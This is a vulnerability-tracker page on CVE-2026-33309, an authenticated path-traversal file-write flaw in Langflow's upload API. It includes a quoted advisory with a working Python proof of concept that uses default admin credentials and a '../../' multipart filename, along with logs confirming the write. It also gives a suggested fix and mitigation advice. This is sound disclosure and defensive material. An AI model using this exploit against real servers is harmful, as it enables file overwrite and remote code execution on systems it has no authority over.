Python
CVE-2026-33309
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to application
-
DeliveryCraft multipart upload request with path traversal payload
-
ExploitBypass ValidatedFileName HTTP guard
-
ExecutionWrite arbitrary file to host filesystem
-
ImpactExecute code or compromise system
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated attacker with any user account can remotely exploit the POST /api/v2/files/ endpoint in v1.7.1+ to write arbitrary files. The multipart upload filename validation bypass bypasses HTTP-layer guards. No user interaction required. |
| Impact | This vulnerability presents critical real-world risk with a CVSS score of 10.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H), indicating network-accessible exploitation with low complexity requiring only low privileges. The availability of a working proof-of-concept significantly increases exploitation likelihood, though no EPSS score or KEV listing is currently available. The vulnerability enables full system compromise through various attack vectors including overwriting critical system files, injecting malicious Python components, or modifying SSH authorized_keys, making this a high-priority security issue for organizations using Langflow in production environments. |
| Exploit ScenarioDerived | An authenticated attacker uploads a file through the /api/v2/files/ endpoint with a malicious filename containing directory traversal sequences like '../../traversal_proof.txt', successfully writing files outside the intended user storage directory. The attacker could overwrite application configuration files, inject malicious Python modules into the application's import path, or modify system files to establish persistent access. The publicly available proof-of-concept demonstrates this attack requires only valid authentication credentials and basic HTTP requests to achieve arbitrary file write. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 19, 2026
An authenticated path traversal vulnerability in Langflow's file upload functionality allows attackers to write arbitrary files anywhere on the host system, leading to remote code execution. The vulnerability affects Langflow version 1.7.3 and earlier, where the multipart upload filename bypasses security checks due to missing boundary containment in the LocalStorageService layer. A proof-of-concept exploit is publicly available demonstrating successful arbitrary file write outside the intended user directory.
RemediationAI
Upgrade Langflow to a version newer than 1.7.3 once a patch is released that implements proper filename sanitization and canonical path containment checks in the LocalStorageService. Until a patch is available, restrict access to the file upload API endpoints to only highly trusted users, implement additional authentication layers, and consider deploying Langflow in isolated containers with minimal filesystem permissions. Monitor file system activity for suspicious writes outside expected directories and review the vendor's security advisory for updates on patch availability.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in Langflow (CPE: pkg:pip/langflow), an open-source tool for building and deploying language model applications. The root cause is a CWE-22 (Path Traversal) issue where the LocalStorageService uses naive path concatenation without proper canonicalization checks. The upload_user_file endpoint in the API layer extracts filenames directly from multipart Content-Disposition headers and passes them to the storage layer without sanitization, while the ValidatedFileName dependency only protects URL path parameters, not multipart form data.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name
# Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}")
# Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txtImpact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
Executive ViewAI
A critical vulnerability in the file upload service allows authenticated attackers to write arbitrary files anywhere on the system, potentially leading to complete system compromise and data breach. This affects any organization using the affected application version and poses an immediate risk to operational security and data integrity.
Implement Web Application Firewall (WAF) rules to block multipart uploads containing path traversal sequences in filename parameters; restrict file upload endpoint to administrative users only via network access controls; deploy application in a sandboxed or containerized environment with minimal filesystem permissions; monitor file system writes for anomalous activity; disable file upload feature entirely until patch is available; implement strict file permissions ensuring uploaded files cannot be executed; segregate application server from production systems using network segmentation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-g2j9-7rj2-gm6c
NVD
CVE.org
EPSS
VulDB
Exploit-DB